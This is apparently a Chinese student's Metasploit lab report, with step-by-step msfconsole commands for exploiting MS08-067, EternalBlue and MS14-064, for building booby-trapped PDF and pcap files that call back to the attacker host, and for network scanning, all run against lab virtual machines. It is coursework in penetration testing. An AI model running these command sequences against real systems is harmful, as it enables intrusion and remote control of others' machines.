一、实验目标
掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。
二、实验内容概述
- 一个主动攻击实践,如ms08_067、ms017-010
- 一个针对浏览器的攻击,如ms11_050
- 一个针对客户端的攻击,如Adobe
- 成功应用任何一个辅助模块
三、基础知识
1、MSF体系架构
Metasploit是一款开源的渗透测试框架平台,它已经内置了数千个已披露的漏洞相关的模块和渗透测试工具。使用者选定需要使用的攻击模块之后,只需要使用简单的命令配置一些参数就能完成针对一个漏洞的测试和利用。
其体系架构如下图所示:
2、MSF模块
模块按照不同用途可分为6种类型
- Exploits(渗透攻击模块):主要利用发现的安全漏洞或配置弱点对目标主机进行攻击,以植入和运行攻击载荷,从而获得目标系统的访问控制权。
- 主动渗透攻击:利用的安全漏洞位于网络服务端软件承载的上层应用程序之中。
- 被动渗透攻击:利用的漏洞位于客户端软件(如浏览器,浏览器插件,电子邮件客户端,Office与Adobe等各种文档与编辑软件)。
- Auxiliary(辅助模块):包括对各种网络服务的扫描与检测,构建虚假服务登陆密码,口令猜测等模块。还包含一些无须加载的攻击载荷,这些模块不用来取得目标系统远程控制权,如拒绝服务。
- Post(后渗透攻击模块):用于取得目标系统远程控制权之后的环节,实现在受控制的系统中进行各种各样的后渗透攻击动作,如敏感信息,进一步拓展,实施跳板攻击。
- Payloads(攻击载荷模块):在渗透攻击成功后促进目标系统运行的一段植入代码,主要用来建立目标与攻击机稳定连接的,可返回shell,也可以进行程序注入等。
- Single:是一种完全独立的Payload,使用简单,就像运行calc.exe一样简单,由于Single是完全独立的,因此他们有可能会被类似netcat这样的metasploit处理工具所捕获。
- Stager:这种payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。
- reverse_tcp:它可以让目标系统与攻击者建立一条TCP连接,让目标系统主动连接渗透测试者的端口(反向连接)
- bind_TCP:它可以让目标系统开启一个TCP监听器,而攻击者随时可以与目标系统进行通信(正向连接)
- Stage:是stager payload下的一种payload组件,这种payload可以提供更加高级的功能,而且没有大小限制。
- Nops(空指令模块):空指令是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令。
- 最典型的空指令就是空操作,在X86CPU体系结构平台上的操作码是ox90
- Encoders(编码模块):攻击载荷与空指令模块组装完成一个指令序列后,在这段指令被渗透攻击模块加入恶意数据缓冲区交由目标系统运行之前,metaspliot还需要编码。其主要作用如下:
- 确保攻击载荷中不会出现“坏字符”
- 对攻击载荷进行“免杀”处理,即躲避反病毒软件,IDS入侵检测系统和IPS入侵防御系统的检测与拦截。
3、MSF接口
MSF接口包括msfconsole控制终端,msfcli命令行,msfgui图形化界面,armitage图形化界面以及msfapi远程调用接口。
- MSF终端(msfconsole)是目前Metasploit框架最为流行的用户接口,而且MSF终端是Metasploit框架中最灵活、功能最丰富以及支持最好的工具之一。
- MSF终端提供了一站式的接口,能访问Metasploit框架中几乎每一个选项和配置。可以使用MSF终端做任何事情,包括发起一次渗透攻击、装载辅助模块、实施查点、创建监听器,或是对整个网络进行自动化渗透攻击。
4、常用命令
search XXX
:用指定关键字搜索可以利用的漏洞模块use exploit XXX
:使用漏洞模块info
:显示模块的相关信息show payloads
:查看该模块可以使用的攻击载荷set payload xxx
:设置选中的攻击载荷show targets
:查看可以攻击哪些操作系统set TARGET target number
:设置目标版本show auxiliary
:显示辅助模块use auxiliary name
:使用辅助模块show options
:显示配置选项set option xxxxx
:设置选项参数set RHOSTS
:设置目标主机的ip地址set RPORT
:设置目标主机的端口set LHOSTS
:设置本机的ip地址set LPORT
:设置本机的端口号
exploit/run
:开始漏洞攻击sessions -l
:列出会话sessions -i id
:选择会话sessions -k id
:结束会话Ctrl+z
:把会话放到后台Ctrl+c
:结束会话
四、实验过程
(一)一个主动攻击实践
1.ms08_067_netapi
-
ms08_067漏洞是著名的远程溢出漏洞。攻击者发送恶意资料到受害机默认开放的SMB服务端口445,通过MSRPC接口调用server服务的一个函数,并破坏程序的栈缓存区,获得远程代码执行权限,从而完全控制主机。
-
靶机:Windows 2000(192.168.31.111)
攻击机:kali虚拟机(192.168.31.36)
-
获取靶机ip地址
-
查看靶机是否存在此漏洞,
nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.31.111
可以看出,此漏洞可以攻击靶机
-
攻击机(kali)开启MSF
sudo msfconsole
-
search ms08_067
,搜索与此漏洞相关的模块use exploit/windows/smb/ms08_067_netapi
,选择使用此漏洞模块show payloads
,查看可以使用的攻击载荷模块set payload generic/shell_reverse_tcp
设置攻击的载荷set RHOSTS 192.168.31.215
,设置靶机IP地址 -
利用辅助模块查看445端口是否开启
search portscan //搜索与端口扫描相关的模块 use auxiliary/scanner/portscan/tcp //使用此辅助模块扫描靶机tcp端口 show options //显示要设置的参数选项 set RHOSTS 192.168.228.137 //设置要扫描的靶机ip exploit //开始运行
由图可知,445端口是开放的。
-
使用
show targets
,查看此漏洞适用的系统版本由于我们的靶机是Windows 2000,所以此处我们选择1号
set target 1
-
set LHOSTS 192.168.31.36
设置攻击机ipset LPORT 1318
设置攻击机端口号show options
查看我们配置的参数信息exploit
开始攻击攻击成功,成功获取靶机shell窗口。
2.ms07_010
-
ms07_010 永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。
-
靶机:Microsoft Windows 7 x64(192.168.31.215)
攻击机:kali虚拟机(192.168.31.36)
-
查看win7虚拟机的ip地址
-
关闭win7虚拟机的防火墙
-
首先,用nmap对win7虚拟机进行端口扫描,判断445端口是否开放。
nmap -sS -p 1-1024 -v 192.168.31.215
以TCP SYN的方式扫描win7虚拟机的TCP端口,-p是指定端口范围,-v是详细信息 -
然后在kali虚拟机中开启MSF服务
use auxiliary/scanner/smb/smb_ms17_010 //对ms17-010这个模块进行漏洞的分析,看看这个445端口是否能被入侵 show options //查看这个模块的参数选项,yes是必填的,no是选填的 set RHOSTS 192.168.31.215 //设置靶机IP地址 exploit //对靶机扫描,看是否存在漏洞
可以看到,此主机可能存在ms17-010漏洞。
-
接下来,利用此漏洞攻击win7主机
search ms17-010 //搜索与此漏洞相关的模块 use exploit/windows/smb/ms17_010_eternalblue //选择使用此漏洞模块 show payloads //查看此模块可以使用的攻击载荷 set payload windows/x64/meterpreter/reverse_tcp //设置攻击的载荷 set RHOSTS 192.168.31.215 //设置靶机ip set LHOSTS 192.168.31.36 //设置攻击机(kali)ip exploit //开启攻击
-
在此过程中,可以使用
show targets
查看此漏洞模块适用于哪些系统,发现这个模块适用于win7和server 2008 r2 -
攻击成功,成功渗透进入win7主机,输入shell可以获取win7的命令行
(二)一个针对浏览器的攻击
1、ms14_064
-
Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码。
-
靶机:WindowsXP IE浏览器(192.168.31.13)
-
具体步骤如下:
search ms14_064 //查看与此漏洞相关的攻击模块 use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块 set payload windows/meterpreter/reverse_tcp //设置攻击载荷 set SRVHOST 192.168.31.36 //设置攻击机IP(kali) set AllowPowerShellPrompt 1 //设置powershell set LHOST 192.168.31.36 //设置监听地址 set LPORT 8080 //设置监听端口 show targets //查看此漏洞适用的系统版本 set target 0 //设置winXP靶机 show options //查看设置的参数信息 exploit
运行后,发现报错,说是此地址不可用或是正在被使用。我猜测是端口的问题,所以我将LPORT重新设置为1318,即可正常运行。
-
将生成的URL拷贝至Windows xp虚拟机的IE浏览器中运行
-
回到kali中,看到一些提示会话创建成功的信息,此时用
sessions
查看此时kali中创建的会话 -
输入
sessions -i 2
即可获取刚刚我们所创建的那个会话连接 -
输入
ipconfig
,获取到靶机的ip
2、ms17-010
-
靶机:Windows 7 x64虚拟机的IE浏览器
-
具体步骤同上:
search ms17-010 //查看与此漏洞相关的攻击模块 use exploit/windows/smb/ms17_010_eternalblue //选择攻击模块 set payload generic/shell_reverse_tcp //设置攻击载荷 set RHOST 192.168.31.215 //设置靶机IP,端口默认为445 set LPORT 1318 //回连的kali虚拟机端口 set LHOST 192.168.31.36 //设置攻击机IP(kali) exploit //发起渗透攻击
这咋又出问题了???
我猜测是因为我上面的那个在xp系统中运行的URL没有关闭导致的,应该是端口冲突了,所以我把这个端口改为1813,即可正常渗透
-
渗透成功,获取win7虚拟机的shell
(三)一个针对客户端的攻击
1.Adobe
靶机:Windows xp(192.168.43.253)
攻击机:kali(192.168.43.159)
-
首先,按照如下代码在kali中生成利用漏洞的pdf文件
msfconsole //进入控制台 search adobe //搜索与adobe有关的漏洞 use windows/fileformat/adobe_cooltype_sing //选择使用此漏洞 set payload windows/meterpreter/bind_tcp //选择攻击载荷 show options //查看需要配置的参数选项 set LPORT 1318 //设置端口号 set RHOST 192.168.43.253 //设置靶机IP地址 set FILENAME jjy.pdf //设置生成的PDF文件名 exploit //生成.pdf文件
-
将生成的pdf文件拷贝至共享文件夹中(这样不用来回的进行复制粘贴/拖放了,要注意xp和kali使用的是同一个共享文件夹)
-
按照下面的代码在kali中开启监听
use exploit/multi/handler //进入监听模块 set payload windows/meterpreter/bind_tcp //选择攻击载荷 show options //查看需要配置的参数选项 set LPORT 1318 //设置端口号 set RHOST 192.168.43.253 //设置靶机IP地址 exploit //开启监听
-
在靶机中用Adobe Reader打开jjy.pdf这个文件
-
可以看到,kali成功获得了靶机的ip地址
2.wireshark(步骤同上)
靶机:Windows xp(192.168.43.253)
攻击机:kali(192.168.43.159)
-
首先,按照如下代码在kali中生成利用漏洞的pcap文件
msfconsole //进入控制台 search wireshark //搜索与wireshark有关的漏洞 use exploit/windows/fileformat/wireshark_packet_dect //选择使用此漏洞 set payload windows/meterpreter/reverse_tcp //设置tcp反向连接 show options //查看需要配置的参数选项 set LHOST 192.168.43.159 //kali的IP set LPORT 1318 //设置端口号 set FILENAME jjy.pcap //设置生成的pcap文件名 exploit //生成.pcap文件
-
将生成的pcap文件拷贝至共享文件夹中
-
按照下面的代码在kali中开启监听
use exploit/multi/handler //进入监听模块 set payload windows/meterpreter/reverse_tcp //设置tcp反向连接 show options //查看需要配置的参数选项 set LHOST 192.168.43.253 //kali的IP set LPORT 1318 //设置监听的端口号 exploit //开启监听
-
在靶机中用wireshark打开jjy.pcap这个文件
-
回连成功,获得xp主机的IP地址
(四)成功应用一个辅助模块(scanner)
-
活跃主机的发现
-
Metasploit 中提供了一些辅助模块可用于活跃主机的发现,这些模块位于Metasploit 源码路径的modules/auxiliary/scanner/discovery/ 目录中,主要有以下几个:arp_sweep、ipv6_multicast_ping、ipv6_neighbor、ipv6_neighbor_router_advetisement、 udp_probe、udp_sweep。其中两个常用模块的主要功能为:
- arp_sweep:使用ARP请求枚举本地局域网络中的所有活跃主机。
- udp_sweep:通过发送UDP数据包探查指定主机是否舌跃,并发现主机上的UDP服务。
在TCP/IP网络环境中,一台主机在发送数据帧前需要使用ARP——地址解析协议将目标IP地址转换成MAC地址,这个转换过程是通过发送一个ARP请求来完成的。若主机A发送一个ARP请求获取主机B的MAC地址时,如果主机B存在,那么它会向A发出一个回应。因此,可以通过发送ARP请求的方式获取同一子网上的活跃主机情况,这种技术也称为ARP扫描。
-
Metasploit 的arp_sweep模块便是一个ARP扫描器。具体使用方法如下:
search arp_sweep //查找实现ARP扫描的具体模块 use auxiliary/scanner/discovery/arp_sweep //选择使用此模块 show options //查看需要设置的参数选项 set RHOSTS 192.168.0.0/24 //设置需要扫描的网段,可以用CIDR地址块,也可以用-连接多个IP地址 set THREADS 50 //设置线程,较大数值能提高扫描速度,较小数值能让扫描过程更加隐蔽 run //开始扫描
-
由图可以看出,本子网内共有6台主机处于活跃状态,192.168.0.103是我们的xp虚拟机。ARP扫描器只能扫描同一子网内的活跃主机,对于远程网络,可以选择功能更为强大的nmap扫描器(可直接在msf中使用)。
-
udp_sweep模块的使用:
search udp_sweep //查找实现udp扫描的具体模块 use auxiliary/scanner/discovery/udp_sweep //选择使用此模块 show options //查看需要设置的参数选项 set RHOSTS 192.168.0.0/24 //设置需要扫描的网段 run //开始扫描
-
由图可以看出,192.168.0.103(xp)主机上运行有微软的NTP服务和NetBIOS服务,192.168.0.104(win10)主机运行有NetBIOS服务。
-
端口扫描——portscan(在任务一中有讲解)
-
msf使用nmap
-
在msf控制台中输入
nmap -O -Pn 192.168.0.103
,查看靶机开放的端口和靶机版本信息。可以看出靶机为Windows xp,但是具体的细节无法确定,还可以找到靶机MAC地址以及距本机距离等等信息。
五、实验后问题回答
1. 用自己的话解释什么是exploit,payload,encode?
exploit:渗透利用,相当于一个载体,把payload攻击代码运送到耙机中。
payload:攻击载荷,目标系统在被exploit渗透攻击之后去执行的那段代码,这才是真正起到攻击作用的代码,相当于shellcode。
encode:编码,对payload进行加工完善,确保其中不会出现“坏字符”,或对攻击载荷进行“免杀”处理,即躲避反病毒软件。
2.离实战还缺些什么技术或步骤?
1.缺乏实践的独立性与创新性:目前的实验都是参考学长学姐和课题负责人的博客做下来的,所以说使用的漏洞什么的都是和他们一样的,而且大部分指令都是直接copy他们的,并不清楚为什么要选用这些模块,有时候会疑惑其他的模块行不行,但是自己又不会去验证。
2.不会利用帮助文档:由于文档都是英文的,所以不知道从哪里开始去看,也不知道自己所需要查找的那一部分在那里。在msf中利用show或者search查到一些信息时,大部分都看不懂,所以也就不知道该怎么使用这些模块。
3.解决问题的效率太低:遇到问题后,总是病急乱投医,而且有时候明明是与其他同学同样的错误,我用同样的方法却解决不了。
六、实验问题与解决
1.kali虚拟机ping不通win主机
原因:win主机的防火墙没有关闭,且入站规则中的“文件和打印共享(回显请求 – ICMPv4-In)”规则没有启用。
解决:关闭防火墙,且启用上面这条规则。
2.任务三,kali开启监听,在xp主机中执行相应文件后一直得不到反应
原因:靶机中的软件版本不对,无法利用我们的漏洞进行渗透,进而导致kali无法获得靶机的shell
解决:下载正确版本的软件
七、实验感想
这次实验相当于是前面实验的一个进阶版,让我们把之前对于MSF的知识都给串起来用了。整体感觉不是特别难(因为我走捷径,拷了课题负责人的虚拟机),实验做下来每个任务的思路都差不多。但是,我很无语的是在实验过程中,我总是会出现很多奇奇怪怪的错误,本次任务三我做了一整天也没有搞定,在msf开启监听后就没有任何反应了,经过长期的摸索之后,在课题负责人的帮助下,我知道了是我在靶机中安装的软件版本不正确。
通过本次实验,让我真正的理解了MSF中一些指令的含义,以及要在什么时候使用什么指令。不得不说,MSF真的是一个很强大的工具,它包含的模块真的是相当全面了。我也发现了,每一个模块的使用都有自己的规范,比如说要设置什么参数,这个模块适用于什么系统(关系到靶机的选取)。漏洞设计的也真是奇妙,它让我们意识不到它的存在,进而攻击了我们的系统,所以,一定要及时打补丁,经常检查自己的计算机是否安全!!今后我还需要更加努力的学习Linux以及msf的相关知识,让自己的实战水平真正的得到提高。